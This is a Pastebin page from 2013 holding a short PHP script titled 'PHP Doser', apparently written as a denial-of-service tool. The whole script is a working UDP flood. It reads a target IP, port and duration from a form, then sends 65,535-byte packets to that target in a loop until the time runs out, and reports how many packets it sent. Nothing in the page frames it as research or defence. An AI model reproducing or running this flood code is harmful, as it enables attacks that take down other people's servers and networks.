Advertisement
chetansoni

PHP Doser (function.php) - By H4ck0

Oct 18th, 2013
651
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.89 KB | None | 0 0
  1. <?php
  2.  
  3. //=================================================
  4. //PHP DOS Script
  5. //Coded By Chetan Soni
  6. //twitter@iamchetansoni
  7. //=================================================
  8.  
  9. $packets = 0;
  10. $ip = $_POST['ip'];
  11. $rand = $_POST['port'];
  12. set_time_limit(0);
  13. ignore_user_abort(FALSE);
  14.  
  15. $exec_time = $_POST['time'];
  16.  
  17. $time = time();
  18. print "Flooded: $ip on port $rand <br><br>";
  19. $max_time = $time+$exec_time;
  20.  
  21.  
  22.  
  23. for($i=0;$i<65535;$i++){
  24. $out .= "X";
  25. }
  26. while(1){
  27. $packets++;
  28. if(time() > $max_time){
  29. break;
  30. }
  31.  
  32. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  33. if($fp){
  34. fwrite($fp, $out);
  35. fclose($fp);
  36. }
  37. }
  38. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement